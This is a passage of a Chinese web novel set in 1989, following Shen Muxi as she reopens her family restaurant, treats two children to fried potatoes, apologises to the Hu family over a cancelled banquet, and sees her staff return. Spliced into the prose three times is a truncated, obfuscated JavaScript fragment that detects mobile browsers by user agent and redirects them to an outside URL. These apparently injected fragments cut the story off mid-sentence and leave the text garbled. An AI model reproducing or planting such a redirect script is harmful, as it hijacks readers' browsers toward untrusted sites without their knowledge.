所以她的舌头是非常灵敏的，这样的训练沈木犀也有过，上一世父亲、爷爷都走后，沈木犀才意识到，时刻保持敏锐的味觉，才是沈家酒楼味道的秘密。可惜后来自己没有味觉，这一件令人沮丧的事情。 沈木犀一时对，还在酒楼里帮忙的孩子姥爷，心生钦佩。 于是沈木犀带着两个心满意足的小小人往人民路去了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918753|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ****** 从沈家酒楼门前的十字路口一路向西，不到1000米的地方就是人民路的展销馆了。 而在去往展销馆的路上，沈木犀三人路过了人民公园。 一路上都没有说话的两个小小人在人民公园门口停住了。 下午的人民公园门口，三五处都是卖炸土豆和凉虾的，间或还有挑着担担卖凉面的小商贩。 沈木犀一时也被这样的场景所触动，她也好多年没有吃过炸土豆了。 于是，她走到一个卖炸土豆的摊前坐下，又招呼两个孩子坐下。 “小嬢嬢，三碗炸土豆。”又转头看向两双不可置信的眼睛，问“凉虾要不要？” 小男孩儿拼命点头要，明美没摇头也没点头，就在沈木犀开口要凉虾的时候，明美开口了。 “我不要，我还有汽水。” 沈木犀点点头，于是又嘱咐卖土豆的小嬢嬢，“两碗炸土豆要辣椒，一碗不要，白味。”沈木犀擦着桌子，又补充“白味不要葱姜蒜。少点味精。” 卖土豆的小嬢嬢看着这么阔绰的来客，一下点三碗炸土豆，连忙应着声，赶忙做了起来。 那小嬢嬢摊前的桌上，除了炸土豆，还有凉面凉虾凉粉凉皮，一一摆放着，归置的很好。另一张桌子上是用玻璃长方形格子用色素调的斑斓的果冻。透过玻璃格子可以看到，果冻里码得整整齐齐的水果。有草莓、香蕉、红绿海棠果…… 五彩斑斓的果冻格子，让两个小人看得津津有味。 这时炸土豆的小嬢嬢将水桶里养着的波浪形炸土豆，沥干水分，一股脑倒进了一锅热辣辣的菜籽油锅里。 紧接着，那小嬢嬢用脚将煤炉子低端的盖子拨了下来，于是煤炉子上的火力加大，一股子煤球味混着浓烈的菜籽油香扑面而来。 那小嬢嬢头都没抬，和沈木犀说话。 “很久没有看你来了哈？” 沈木犀正看着人民公园门口摆地摊卖的铁青蛙，一蹦一蹦，被对方的问话问得晃了神。 “啊是啊，好久没来了。想吃你家的炸土豆。”沈木犀说着上一世在梦里的话，觉得感慨万千。 “还有炸红薯耙。” “那今天没有，最近老是落雨，红苕不好。”说着那小嬢嬢将炸好的土豆全部舀进一个搪瓷盆里。她转身面对三人，又低头将面前的调料盒一一打开，嘴里念着。 “两个红味，一个白味。白味少加味精，不要葱姜蒜。”小嬢嬢又抬头问小男孩儿。“那弟弟的是红味还是白味？” “我不是弟弟，我们两个一天生的。我要海椒。”小男孩儿倔强地看着那小嬢嬢。 “哦哦哦，搞伙你们两个是龙凤胎啊。”那小嬢嬢拌着炸土豆，一脸不可思议的左看看右看看眼前的两个小人。然后把分装好的炸土豆放在了三位面前。 “她叫陈明美，我叫陈明事。”小男孩儿盯着自己碗里炸土豆，一脸认真地说。 “啊呀，那你们妈妈。”那小嬢嬢转头看向沈木犀，“你有福气哦，生了一对龙凤胎！” “她不是我们妈妈！”陈明事又看向陈明美。 陈明美也点点头，“她……” 沈木犀也一脸尴尬“我不是她们妈妈，我是……” “她是姐姐。”陈明美简单地补充着。 沈木犀对这个会答案非常满意，揉着明美的小脑袋，看着她认真地吃着碗里的炸土豆。 沈木犀也吃很开心，这一口带着煤炉味的炸土豆，自己在后来的岁月里再也没有吃到过了。 明美慢慢地吃，陈明事站起来还找小嬢嬢又加了一勺辣椒。 沈木犀扭脸问不声不响的明美“好吃吗？” 明美抬起头看着沈木犀。 “姐姐，这个太好吃！” 沈木犀笑笑，好吃就行。她心里暗想，那就请认真的记住这个味道，这将会是回忆里童年最好的滋味。 这时，人民公园门口的时钟敲了4下，沈木犀这才意识到，糟了得赶紧走了，展销馆快关门了。 她出来是为了给晚上取消订餐的满月酒那家，买礼物晚上打算登门赔礼的。 那是自由路的老胡，满月酒给人临时取消，实在是太不好了。 15. 夹沙肉八宝饭 沈木犀在展销馆里把暖水瓶、奶粉、香烟买了一些，尤其是纯棉的各种样式的布挑了一大摞，然后便带着两个吃饱喝足的小人回到了沈家酒楼。 三人进了店，沈木犀发现，沈家酒楼虽未营业，但是已经被收拾得十分亮堂规整了。 摆在她们眼前的是两个八仙桌拼起来的一张长方形桌子。 上面摆上了12份八宝饭，整整齐齐的。 但与以往的八宝饭不同，沈木犀在跟父亲去乡里吃流水席的时候见过。 每一片五花肉仔仔细地裹住蒸好的细红豆沙，然后在红砂糖里翻滚一遍。 用切得稍大的橘红塞在圆柱形的五花肉上封口，以免豆沙在水蒸上汽的情况下流出。 然后用青红丝混着冬条、橘红铺在碗底。 把裹好的肉密密地码在碗的中央，最后把蒸得半熟又拌了红糖的糯米，铺满整个碗。 水开上汽至少蒸1个半小时。 银耳、红枣、白糖煮出来的一锅粘稠的甜汤备用。 最后将八宝饭倒扣盘中，浇上一大勺浓稠的甜汤，再扣上一大勺白砂糖。 这道香甜绵密的夹沙肉八宝饭就做好了。 老爷子端着2份刚出炉的八宝饭出来。 “掌柜的，回来了，正好做完。” 沈木犀低着头使劲嗅了嗅这道香甜的八宝饭，这种质朴纯粹的没有加其他作料的美食，自己在上一世里已经很少看到了。 上一世，随着人民物质水平的提高，丰富的食材已经可以做到从田间地头到寻常百姓家的餐桌上，这样点对点的服务了。 但随之而来对于食物的认知也发生了翻天复地的变化。 热量这个令人闻风丧胆的时髦词汇，让无数的好吃嘴们，放下了筷子。 这样的一份用料简单，食材干净，味道淳朴的美食，往往会在席间被放到无人问津，最后只是作为充当席间的一道必点装饰菜。 此刻沈木犀觉得，太暴殄天物了。 对于不具名的那些“高科技”调料或是上一世流行的外卖而言，糖和象征能量炸弹的糯米本身没有犯任何错。 沈木犀立起身点点头，对于老爷子做的八宝饭十分满意。 “老师傅辛苦了，先休息吧。”沈木犀见老爷子也向他客气点头，于是扭脸看向正在分装的顾辰。“小师弟，打包好了，你跟我一起去自由路送一趟。” 顾辰应声，将12份八宝饭用洗干净的柚子叶皮封好，再用箩筐插空叠码整齐，最后罩上了纱布套了两三层，放在了自己的偏三轮上，沈木犀还把买来的礼物一股脑全带上了。 出门沈木犀嘱咐了应红，可以关门打烊了，让老爷子带着孩子自行整理休息吧。 ****** 接近下午六点半，顾辰刚一启动车辆便遇上了锅炉厂下班的高峰，数不清的工人从锅炉厂出来，一时热闹非凡。 从前沈木犀每日都从这里路过，不觉得有何新奇。 这一世再看却发现，下班后的人们，一身虽显劳累，但脸上却在夕阳的照耀下显得神采奕奕。 是那个属于改革开放腾飞的年代。 他们着急的经过斑马线只为早一点抢到卤菜店的卤肘子、白水耳页、核桃肉……先到的人，卤菜可以用红油再拌一下，滋味更上一层楼。 晚上回去，再来二两小酒，那滋味能消解一天的疲惫。 沈木犀坐在车上呼出一口起来，感受着车流与人流。 “累了吧，今天。”顾辰温声问道。 “不累。”沈木犀脸上笑着，没说出那句，能回来，累也快乐着。 顾辰点点头“那坐好了，接下来带你刺激一下。” 说罢，绿灯亮起，顾辰启动车辆，稍有加速，就在沈木犀还没有反应过来时，十字路口拐过弯便来到一个大大的下坡路。 那夕阳正正照在沈木犀的脸上，即便顾辰没有加速，大下坡带来的失重感，一扫沈木犀今日的疲惫。 心悬在空中，风穿过身体。 呼——！沈木犀深深地吐出了一口属于1989年的气。 随着车辆再拐过一个弯，自由路到了。 自由路主要是家具一条街，前后不过800米。 在一条长长的大坡上，一头临着滨江路，一头临着老城的居民区。 沈木犀指着自由路档口的第一家铁匠铺，让顾辰把车停在了店门口。 店铺上硕大的几个大字“胡记铁匠铺”，烫金的字招牌格外显眼。 沈木犀下了车，“你先在门口等我……” 沈木犀话还没说完，只见店铺内砸出一个搪瓷碗来，直直地滚到了沈木犀的脚边，顾辰赶忙下车将碗捡了起来。 正想进店铺里却被沈木犀拦下了。 “把八宝饭挪出来，摆进他们店里的桌上。我先进去打个招呼。”说罢，沈木犀又停下告诉顾辰，“他们家定了今晚的满月酒……” 沈木犀眼睛眨了眨，一言难尽地迈着步子往里去了。 顾辰大概明白沈木犀这是要去负荆请罪，所以也只能耸耸肩，把沈木犀的活儿给干完。 天光有些下去了，铁匠铺依稀能看清是一些家用铁器：刀具、剪刀、铝锅、锑锅、铝制品定制的各种造型的器具摆放着…… 随着沈木犀越往里屋进，就听见一顿激烈的咒骂。 “你觉得沈家酒楼临时取消我孩儿的满月酒，我能善罢甘休？” “不是老婆，人已经赔给咱三倍餐钱了，见好就收吧，这都实在认识……” “胡大牛！你搞搞清楚！什么实在认识？今天是我孩儿满月，你们是不是都欺负我一个女人刚出月子，不能当胡记的家是怎么的？” 沈木犀听见了这几句争吵，将脚步放得极轻又极慢，生怕整出点动静，发现自己的存在。 “我现在就要去找那沈家说说清楚，我可不能就这么算了！我这些年随出去礼金我找谁说去，他们赔的那些钱，也不够我这些年随出去的礼金。” 那女人抱着孩子，就在沈木犀不知向前还是向后离开时，沈木犀抬眼看见院中跪着一个大块头的男人。 那男人虽然跪在院中，但话说得硬气，“嫂子别去了！” 随着那男人开口，女人从屋内冲到了院中，来到跪地的男人跟前。 “你还知道，我是你嫂子！就是你这个瘟神，惹得你侄子的满月酒都没有办成！” 那女人理直气壮，屋内另一个男人拄着一条拐棍出来。 “快给你嫂子道歉。”拄拐的男人站在跪地的男人跟前。 “我……，如果钱不够，之后可以从我的月钱里给你们。” “哼！还月钱？你觉得你之后还能在沈家酒楼待吗？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918754|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “实在不行，我还能去别家酒楼。”那男人咬着腮帮子说话。 沈木犀心道，胡大力啊，真是块头大，人也犟，十头牛都拉不回来。 “胡大力，你和你不争气的哥哥一个样。不是男人！不负责任！”那女人抱着孩子，离近胡大力大声吼道。 “你说我就可以了，你凭什么骂我哥！”胡大力一时有些激动，甚至想要站起身。 “没有我，你哥俩早喝西北风去了！这铺子，这家里，还有你说的你自己的月钱！哼，没有我让你去学厨，你还能这么给我说话？你们倒是拿出点男人样子，把这家给我好好过好啊？”女人的话越说越刻薄，胡大力身体都在抽抽。 沈木犀觉得为避免更大的争吵，还是赶紧离开，却在迈出脚时，一脚踢到了脚边的锑锅，发出了一声剧烈的声响。 于是她只能，一脚便踏进了院中，以和解为目的快速制止这场“战争”。 但是来到胡大力跟前，她又后悔了，胡大力一米八几的大高个，跪在院中，脸上满是泪水，确实和他刚才咬牙说的那些硬话形成鲜明对比。 见沈木犀突然进来，胡大力噌地站起身，“嫂子，我最后叫你一声嫂子。我8岁父母就死了，12岁你嫁来我们胡家，我哥去厂里装磨具，腿被车床压断了。你就嫌弃我在家吃闲饭，不让我待在胡记学铁匠，这是我们老胡家啊，我还得在外面在别家当学徒。”胡大力轻笑出声，“我那时候矮得都够不上案板，你就让我去学切墩。我那时候还是孩子啊，你嫁来就要分家。现在好了，我拿月钱了，你开始要找我要月钱了。这会儿又说我不为侄子着想。既然这个家容不下我，我走就是了。” 胡大力冲着嫂子一通大喊，那嫂子被吼得有些发晕，弱弱地说道，“你滚……” 那嫂子就要往地上栽下去，沈木犀一个快步接住了她手里的娃，和伸手扶稳了她。 胡大力也有些发晕，喘了好几口大气转身负气走了。 此刻，胡家的院子里被外人看到这么不堪的一幕，安静地连掉跟针都能听见。 沈木犀一时还有些奇怪怎么怀里的这个孩子什么动静都听不见，就这么安安静静地睡着。 于是沈木犀仔细瞧着发现那孩子的耳廓里贴着不少白色方格的贴布。 那嫂子回过神来，从沈木犀手夺过孩子，一脸敌意地看着沈木犀。 “你来干什么！” “嫂子，今天这事儿闹得，都是我们沈家酒楼的错。我没有想到……” 沈木犀难堪地说不出任何话来，她低头将身上所有的钱，又出去问顾辰把身上的钱全拿出来，一共凑了830块钱，最后统统塞在了那女人的手里。 此刻沈木犀觉得她下午跑的那趟展销馆真是多余。 外面的那些八宝饭也是多余的。 如果……沈木犀想，如果孩子今天的满月酒办了就好了。 因为沈木犀突然想起上一世，胡大力有个听不见的侄子。 这顿满月酒不单单是新生的喜悦，或许也是重生的希望。 ****** 世间的苦，在家长里短的对骂中被消解和强调。 世间的乐，在一顿顿的人情债中被点亮和重组。 沈木犀愣愣地从院中走了出来，她看着桌上甜甜的八宝饭，伸手拿走了一个，因为此刻她想好好的吃上一整碗。 16. 燕窝丝 一路上，顾辰开着车，没和沈木犀说话。 沈木犀觉得这样太舒服了，不用沟通。她看着回家的路，这会儿路面上的商铺几乎都闭店了，偶有零星的几辆车在路面上跑着，哪怕此时才晚上7点多，路上几乎也看不到什么人了。 顾辰这人，虽说年纪小，十分沉得住气。 沈木犀感觉这个小帮手真是不错，顾辰已经将车开到了沈家酒楼的后院，沈园。 临到要离开，顾辰还是忍不住开口：“师姐，那个资料。” 对！沈木犀都想拍自己脑瓜子上，这是重生后的第二天，主厨的事情对于沈家酒楼虽然非常紧迫，只要坚定的不和陈炎再扯上关系就行。 但是面对沈家酒楼现在的营业情况，明天能不能准时开门还不一定呢？ 人才是第一生产力这句话是真的，起码在餐饮行业是至关重要的。 顾辰提醒的是，今天还不晚，沈木犀得赶紧把资料研究明白，办学的事情不能在她这里出岔子。 于是沈木犀下了车，沉着脸赶忙往里进，就在沈木犀快要迈进沈园的大门时，顾辰靠在路灯下的车边：“师姐！”见沈木犀停下了，“晚安。” 沈木犀这才意识到还没有打招呼道别，于是回过头。 鹅黄色的路灯下，顾辰显得十分英俊，意气风发又不失稳重。 这两天怎么感觉和这个小师弟经历了很多事。 “晚安，师弟。” “明天，酒楼见。”顾辰补充道。 沈木犀：“那得看，明天也不知道大家来不来了呢。万一不来，……” 明天又是歇业的一天。 沈木犀有些无奈，即便重活一世，也无力立马改变可能要发生的事情。 但是她没有说出来，不好的事情最好不要讲出来。 于是沈木犀笑笑，冲着顾辰摆了摆手，转身进了沈园。 见沈木犀完全消失在了视线里，顾辰骑上车隐没在了夜色中。 顾辰回家的路本是南城，见油箱里的油没了，于是将车又开向了城边中石化的加油站。 顾辰靠在路边的等下，将兜里的BP机翻了出来，他打开车门上的抽屉，拿出一个黑色电话小本来…… ****** 沈园静悄悄地，水波暗流，发出清灵的水声。 白天热烈的1989年令人提气，但是面对如此安静的夜晚，沈木犀也觉得十分舒爽。 黑丫丫的沈园，看来父亲沈国华还没有结束他的“鸵鸟”配香料之旅——这可如何是好？ 父亲不在，沈木犀多少也有些没底。 行吧，沈木犀赶紧烧好水，一通洗漱，打算好好将资料准备一下。 沈木犀家的沈园，老式的江南园林布局，她的卧房打开窗户就能看到流水。 沈木犀听着水声，打开一盏绿台灯，翻看着那沓办学资料。 刚一打开，上面是一张字条。 “有事呼我。——13278227885顾辰” 沈木犀几乎立刻站起了身！对啊，她还有BP传呼机。 沈木犀闭眼，赶忙回忆，她的传呼机呢？ 书桌右手抽屉里！脑海中一个声音告诉她。 沈木犀满怀期待，这或许能让她把父亲找到，赶紧回来。 片刻，沈木犀发现那抽屉里空空如也。 沈木犀又想了一会儿，也没想起自己会把那传呼机放哪儿。 算了，就这吧。 就在沈木犀打算入坐书桌时，她的枕边传来呼机的响声。 ——“犀犀，我和叶三叔在赤水镇，早些休息。” 沈木犀看着消息，本来打算冲去酒楼，用座机回过去，问清楚他究竟要什么时候才能回来。 但想想他爹，都不敢给她说啥时候回来，也就打消了再问的念想。 算了，就这吧。 晚上23点，沈木犀桌上的收音机播着各种情感关系纠纷的节目，听来听去好像每个时代的女人都在为了抓男人出轨，做战斗和分享经验。 而且沈木犀发现，好多女人的来信，开场白就是“我一直在家没有工作，所以很多时候我也很无奈……可是他不要我了，孩子还那么点小，这可怎么办?” 这样的连环鬼打墙式发问，引得电台的主持人总是会在不停的切着各种歌曲，明里暗里的告诉她们该怎么办。 电台里突然传来一首陈淑桦的《梦醒时分》，主持人特意推大了音量。 “你说你爱了不该爱的人 你的心中满是伤痕 你说你犯了不该犯的错 心中满是悔恨 你说你尝尽了生活的苦 找不到可以相信的人 你说你感到万分沮丧 甚至开始怀疑人生 ……” 但是在接通下一个电话或者念到新的一封信时，那种问题又会再次出现。 “现在我每天都在家里哭，哭得比琼瑶剧里的女主还惨……我该怎么办？我什么都不会……” 沈木犀看完资料，打算明天赶紧去找李主任，把教学用地的字签了。 至此沈木犀听着收音机昏昏欲睡，在电台主持人要读下一封来信时，她赶忙关了收音机，上床睡了。 ****** 第二天一早，八点十分，沈木犀已经从李主任的办公室里拿着办好手续的资料出来了。 教育用地已经解决了，现在就得看顾星河的了。 接下来她还得赶紧回酒楼，虽然对师兄弟们能不能回来干活儿没有期待，但是沈木犀希望沈家酒楼不要歇业。 这会儿肚子有些饿了，街边上偶有几家卖面的摊，味道十分不错，但是沈木犀琢磨还是回自家酒楼吃早餐吧，她家的早餐窗口还是很资格的。 尤其是沈家酒楼的招牌燕窝丝和酱肉包子。 说到燕窝丝，简单来说是一种甜花卷。 想到这里沈木犀加快了脚步，她已经很多年没有吃过了。 ****** 沈家酒楼的大堂里零星的几个服务员，后厨只有顾辰一个在打扫归置。 那几个服务员见没什么事儿，围着应红，不时又瞧瞧顾辰干活的样子。 “我怎么觉得这个顾小师弟这两天和木犀姐走得这么近啊？” “哎哎哎，这顾小师弟平时不显山不漏水的，也不跟我们说话，我还以为他害羞不爱说话呢？这两天我细看了他那张脸，是不是？” “对对对！有点儿那个什么！我觉得四大天王也就那样吧，怎么那么帅啊！” 应红白了眼：“还四大天王？你们知道四大天王是谁么，就四大天王。” “我们说的四大天王是，那香港明星刘德华、黎明、张学友、郭富城啊！” “应红姐你可不能看扁了俺们，上回大师兄还说呢，四大天王是魔礼青、魔礼红、魔礼海、魔礼寿呢。” 此话一出，几人捧腹大笑，应红直接笑得差点把刚喝的茶喷出来。 “大师兄真是有够老土的……“ 那姑娘话还没说完，只见几人都向她齐齐使着眼神，示意别说了。 那姑娘还没反应过来，就见陈炎凑近那姑娘。 “说我什么呢？”陈炎一脸严肃，看着这几个在玩笑的服务员。 他最不喜欢这种嘻嘻哈哈的，一点工作样子都没有。 那姑娘叫小李，吓得不敢在多嘴。 应红解围：“说大师兄你那天聊四大天王。” 陈炎不愿搭理她们这帮女人，总是叽叽喳喳吵吵闹闹的，转身走了，听到应红这么说，停住了脚又转过身来。 “就知道你们一帮没文化的，四大天王是魔礼青、魔礼红、魔礼海、魔礼寿。”陈炎瞪着俩眼，转身往后厨去了。 见陈炎远去，围聚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918755|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几人又爆发出一阵笑声，引得陈炎把后厨门重重地砸着。 陈炎力是用了，但是没让门发出响声，原来是顾辰在门里用手接住了。 陈炎见四下没人，觉得怎么哪儿都有这个人。 “呀，小师弟真是可以啊。这酒楼今天都不一定开张呢，你还能过来。”见顾辰手里握着扫把，眼神得意“不过也是你这辈子啊，也就是在后厨打扫卫生的命。即便今天酒楼不开店，你也能在这儿冲冲水，扫扫地啥的。就是不知道啊，你这究竟还能扫几天呢？” 顾辰淡淡地：“现在沈家酒楼有难，但是大师兄一早都来了，我一个做小师弟不来不合适。” 陈炎一时被顾辰说哑火了。 他今天来不是为了给沈家酒楼开张的！ 他是来看沈木犀笑话的，他昨天和师兄弟们都说了，都别来，但是陈炎这个人心思小，他怕他不在，大家万一为了工钱又来了，他得一早出门看看。 果不其然，这小师弟就在，而且也只有他在。 看在顾辰身边谁人都没有，陈炎更加趾高气昂：“没有了我们这些师兄弟，沈木犀翻不起什么浪花，我是来看她怎么自作自受，把好好的一个酒楼搞垮的。” 顾辰不搭理陈炎也不说话，他手边的蒸锅直直冒着白气，关好火后，他将蒸笼盖子揭开。 里面摆满了胖胖的红色燕窝丝。 就在此时，沈木犀将门推开，烟雾缭绕的后厨，直让沈木犀没看到陈炎。 这会儿沈木犀饿了，看见那刚出炉的燕窝丝，她快步伸手去拿了一个：“这么合适吗，我快饿死了，快让我尝尝这燕窝丝。” 顾辰见是沈木犀，赶紧去拿筷子和碟子，但沈木犀已经叼着一个在嘴里了。 “小心烫！”顾辰嘱咐着递过筷子，而且并没有要给一旁的陈炎也夹一个的意思。 “这燕窝丝，冬瓜条和橘红的比例刚刚好呀，而且猪油发得起酥，太香了！这谁做的啊？”沈木犀两三口快要咽下一个。 陈炎见沈木犀刚才没理她，赶忙凑沈木犀面前，想说是自己做的：“是……” 却见二师兄胡大力抱着一笼酱包子从后厨的白案间出来。 胡大力：“我做的。” 陈炎见是胡大力一脸不可置信，胡大力把蒸笼放下，又见陈炎也在当场，心虚的看看沈木犀，扭脸转身去磨刀了。 陈炎手指着胡大力：“你……” 沈木犀一时也为胡大力的出现感到意外，瞪着俩眼看着陈炎想要说什么，继续嚼着燕窝丝。 甜呐！ 而就在陈炎想要继续开口时，沈木犀的身后师兄弟们都来了。 沈木犀见状十分意外，但顾辰却显得自然：把蒸笼里的燕窝丝和酱包一一分给了后厨的师兄弟们。 陈炎更加意外，沈木犀见状咽下嘴里的面：“小师弟，给人分了，吃完早餐大家赶紧干活吧！” 众兄弟们本来看着陈炎伸着的手不知道当下该如何，见沈木犀自然嘱咐大家吃早餐，开工，于是就像是开了电闸一样，各自拿着早餐，吃完开始埋头工作了。 沈木犀不想和陈炎多待，出了后厨，来到前台，打算从保险柜里出门采购今天的食材了。 却在出门前听见，小李和那几个服务员还在聊：“昨晚，顾小师弟又是传呼、又是打电话找师兄弟们回来，搞了好几个小时呢。” “是啊，主厨的人选还有好几天，再说大家还得吃饭呢，都得用钱。” “小师弟给大家留言说，就当没发生过，回来把工作干好。” “而且我听说，好几个师兄联系不上，小师弟找了好几个小时，挨家挨户去敲的门。” “燕窝丝也是他一大早做的。” …… 沈木犀听着她们说的话，转身看向顾辰，她拿出传呼机，给顾辰留了第一条留言。 “谢谢你，小师弟，燕窝丝很好吃。” 17. 小米粉蒸肉 那头沈木犀清点完今日的订餐、拿着自己开完采买的清单，嘱咐完前厅后厨的大家伙儿便出门去了。 这头住在酒楼杂物间的老爷子已经带着两个孩子去一趟人民公园回来了。 陈明事一身干干净净，边走还边啃手，但陈明美不一样，沉稳地喘着气，发丝儿还有些汗，明显就是跟在姥爷后头跑着步回来的。 应红像是专门等着这爷仨，就站在门口，见他们回来：“老爷子，找着人了吗？” 老爷子见应红聪明，笑着摇头：“没有。小应你叫我陈叔就行。不过下午5点后，我还得再出去一趟。” 应红：“好嘞，陈叔。” 陈叔打望了下后厨的方向：“掌柜的不在？” 应红：“她去菜场买菜了。” 陈叔：“那，你看吩咐我们做些什么？” 应红回头望了望后厨，没见陈炎，凑近陈叔降低了音量：“掌柜的走前嘱咐我了，后厨一切听您的安排。” 应红把今天所有预定菜单，递给陈叔。 陈叔将单子往远放了一点，仔细看着。 应红也在一旁给陈叔解释：“叔今天中午有预定，3桌，是好几家开厂的老板定的餐。交待要谈事情，菜色要好，口味可口，主要是不能耽误谈事情。” 陈叔若有所思的点点头。 应红：“然后其他的一些零散客，多半儿都是一些街坊邻居，几个招牌菜的师兄弟还算能出菜。但是需要您在后厨盯着安排。” 陈叔：“时间我会看好。” 应红见陈叔真是没话说，为人虽然不苟言笑，但是不带脾气。 真是不像那大师兄，沈老爷子不在，他都能把酒楼的房顶掀了。 说到陈炎，二十分钟前，他拉着胡大力站在沈家酒楼门口。 “大力，你什么意思啊？” “大师兄，我们回来也不是因为不站你。” 陈炎气不打一出来，：“咱昨天是不是说好了，今天不来的。” 陈炎又瞥向后厨，翻着白眼：“你们现在是都不把我这个大师兄放眼里了啊。” 胡大力：“大师兄不是这样的，先不说沈木犀能不能赢了主厨比赛，但是这几日我们要是不干活，工钱肯定是不给的呀。” 陈炎：“那点儿工钱我不是说了，顾家那掌柜能给你们吗？” 胡大力：“顾家那掌柜的钱，我们……” 陈炎：“我现在就去找顾星河把钱拿来，你们这一帮人，真不抗事儿。” 胡大力低着头没看陈炎。 胡大力：“大师兄，你放心我们干活绝不是因为站沈木犀。” 陈炎：“我是因为这个吗？"见胡大力顶着一张傻脸“跟你也说不明白，滚吧滚吧。" 胡大力：”大师兄你放心，我们拿钱干活，这边有事儿帮你盯着。” 陈炎和胡大力说不明白，直接甩手离开了酒楼。 应红站在大厅的门里，侧耳听着陈炎说了啥，见胡大力走了进来，又瞪着她，她也一脸镇定的给胡大力瞪了回去。 应红想起陈炎这段时间做的这些恶心事就搓火，对比陈叔这样的真是太让人明媚了。 应红觉得沈木犀换主厨顺便换了男人这事儿再快点儿吧。 一边想着，应红一边带着陈叔和明美、明事来到后厨。 走到后厨门口，应红看着两个小孩儿，打算问陈叔怎么安排这两个孩子。 陈叔：“他俩今天我看着，今天我安排完大家，还得让这妞学菜，我能盯。” 应红点点头，领着陈家三人进了后厨，又嘱咐了一遍师兄弟们，大家便各自在岗位上干活儿了。 陈叔进了后厨，不似平时温声，周身都散发着一股紧张的阴云。 能感觉到这团阴云的不止有在后厨干活儿师兄弟，还有陈明美。 陈明事感受不到，无所事事地看来看去。 顾辰见陈明事差点撞在了一个师兄刚烧好的热水桶上。 赶忙将陈明事带到自己身后，找了个小墩，用胡萝卜放在他的跟前，三下五除二地雕了一个小鸟给他。 陈明事一脸懵。 直到顾辰将那个栩栩如生的小鸟放到了陈明事的眼前，只见他眼前一亮。 “小鸟！” “那能拿着这个在这儿乖乖玩儿吗？” 陈明事手里拿着那只用胡萝卜雕的小鸟，一脸开心，使劲点点头，然后又抬头望着顾辰：“我还要一个！”陈明事想想又说：“我还要一条龙！” 顾辰本来琢磨再要个，自己就雕给他，但是龙直接让顾辰蹙起了眉。 不是不行，只是现下没有时间。 一旁路过的的胡大力直接笑出声：“现在要条龙，那你得管小师弟叫爹了。” 陈明事：“你能答应吗？” 顾辰看着陈明事的样子：“行，中午过后给你雕，不过你现在得听话。” 陈明事拿着那胡萝卜小鸟十分高兴，一脸开心地坐在了顾辰给他安排的小墩上。可就在顾辰抬眼时，陈明事已经把那胡萝卜小鸟的头咬掉，吃了。 “……” 也行吧，只要是别伤着就行。 ****** 沈木犀来到菜市场，除了采买，她还得去朱三的粮油店问清楚，她家的陈米是怎么回事。 沈木犀见老板娘半晌不说话。 最后沈木犀撂下一句话：一周内如果对陈米的事，老板娘朱三还是拿不出解释来，之后沈家酒楼的米，就不在她家进了。 沈木犀很明白这种无凭无据的事情很难找到线头。但是凭借几十年的采买经验，沈木犀深知，这种利弊永远站在甲方这边。 即便朱三的粮油店没有参与陈米的供应，但是换出来的米又去了哪儿？ 要知道做饭的厨子以家族模式运营，这全城菜场卖米的都是亲戚。 ****** 沈木犀叫了菜场门口等活儿开摩托车的老刘，二人合力一股脑把所有菜打包好，沈木犀付了钱，让他把菜送去沈家酒楼。 老刘为人老实，当过几年兵，沈木犀只用他送货。 只是上一世里老刘因为在一个雨天送货，骑车出了车祸摔坏了脑子，再后来就成了菜市场里的一个搬运工了。只能靠卖苦力过活了。 沈木犀琢磨什么时候不让老刘再干这个了。 沈木犀嘱咐老刘：“开慢点啊，注意红绿灯。” 老刘笑笑：“沈老板放心，一定慢点，您给的钱比别人都高。一定好好服务。” 说罢，老刘把带松紧的绳子，将好几大包的菜牢牢地绑好在自己的摩托车上。 见老刘追着阳光离开，沈木犀也骑上了自行车。 她没有回酒楼，她要去一趟顾家百年老号，找顾星河把招生的问题落实了。于是，沈木犀拐过弯，转下南城。 ****** 沈家酒楼因为一众师兄弟和陈叔的坐镇，紧巴巴地把午餐这个饭点的活干完了。 沈木犀也把事情办完赶了回来，这时卷尺厂的老板出来付钱。 二人相互打趣，都夸着要是不会对方照顾自己家生意，这讨生活的钱真是没法赚了。小李拿着餐布擦着桌子，一脸懵，沈家酒楼还和卷尺厂做生意呢？ 应红在一旁看着这没出息的丫头，敲着她脑袋，示意她再不注意就要把桌子上的杯子打掉了。 “这有什么好奇的，那不明摆的就是喝多了嘛，他胡喊咱们就跟着乱答应呗！” 小李一脸憨憨地笑着，觉得应红姐真不一般人，啥都知道。 “赶紧弄，吃中午饭了，累死了。”应红翻了个白眼催促着。 小李这才想起，对对得吃饭了，忙了一上午快饿死了。 只见小李和几个 